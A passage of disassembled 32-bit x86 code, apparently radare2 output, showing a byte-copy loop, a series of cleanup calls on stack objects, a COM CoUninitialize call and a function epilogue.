lea ecx, [ebp - 0x5b]
mov byte [ebp - 0x5a], al
call fcn.004197ad
mov byte [ebp - 0x59], al
mov esi, ebx
mov byte [ebp - 0x58], bl
lea ecx, [ebp - 0x5a]
cmp esi, 2
jae 0x42fa6e
push esi
call fcn.00410f8d
lea ecx, [ebp - 0x5b]
movzx eax, byte [eax]
push eax
call fcn.004197ad
push esi
lea ecx, [ebp - 0x5a]
mov byte [ebp - 0x11], al
call fcn.00410f8d
mov cl, byte [ebp - 0x11]
inc esi
mov byte [eax], cl
jmp 0x42fa40
push 2
call fcn.00410f8d
lea ecx, [ebp - 0x5a]
mov byte [eax], bl
call fcn.00410f8a
mov esi, eax
lea ecx, [ebp - 0x40]
push esi
call fcn.00422a2b
mov ecx, eax
call fcn.00420e90
test al, al
jne 0x42faaf
push esi
lea ecx, [ebp - 0x40]
call fcn.00422a2b
mov ecx, eax
call fcn.00430146
cmp eax, 1
jne 0x42faaf
call fcn.00435d47
lea ecx, [ebp - 0x59c]
call fcn.00411ce9
lea ecx, [ebp - 0x644]
call fcn.00411ce9
lea ecx, [ebp - 0x62c]
call fcn.00411ce9
lea ecx, [ebp - 0x614]
call fcn.00411ce9
lea ecx, [ebp - 0x564]
call fcn.00411ce9
lea ecx, [ebp - 0x5b4]
call fcn.00411ce9
lea ecx, [ebp - 0x5cc]
call fcn.00411ce9
lea ecx, [ebp - 0x5e4]
call fcn.00411ce9
lea ecx, [ebp - 0xaf4]
call fcn.0042fc7d
lea ecx, [ebp - 0x65c]
call fcn.00411ce9
lea ecx, [ebp - 0x500]
call fcn.00411ce9
lea ecx, [ebp - 0x5fc]
call fcn.00411ce9
lea ecx, [ebp - 0x408]
call fcn.004115df
lea ecx, [ebp - 0x40]
call fcn.00420e97
lea ecx, [ebp - 0x3e4]
call fcn.00411ce9
lea ecx, [ebp - 0x57c]
call fcn.00411ce9
lea ecx, [ebp - 0x338]
call fcn.00411ce9
lea ecx, [ebp - 0x9bc]
call fcn.00411ce9
lea ecx, [ebp - 0x1868]
call fcn.0042978b
lea ecx, [ebp - 0x3fc]
call fcn.00411ce9
lea ecx, [ebp - 0x4b4]
call fcn.00411ce9
lea ecx, [ebp - 0x46c]
call fcn.00411ce9
lea ecx, [ebp - 0x9d4]
call fcn.00411ce9
lea ecx, [ebp - 0x674]
call fcn.00411ce9
lea ecx, [ebp - 0x9ec]
call fcn.00411ce9
lea ecx, [ebp - 0x4cc]
call fcn.00411ce9
lea ecx, [ebp - 0x49c]
call fcn.00411ce9
lea ecx, [ebp - 0x484]
call fcn.00411ce9
call dword [sym.imp.ole32.dll_CoUninitialize]
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
push ebx
call fcn.0044498b
int3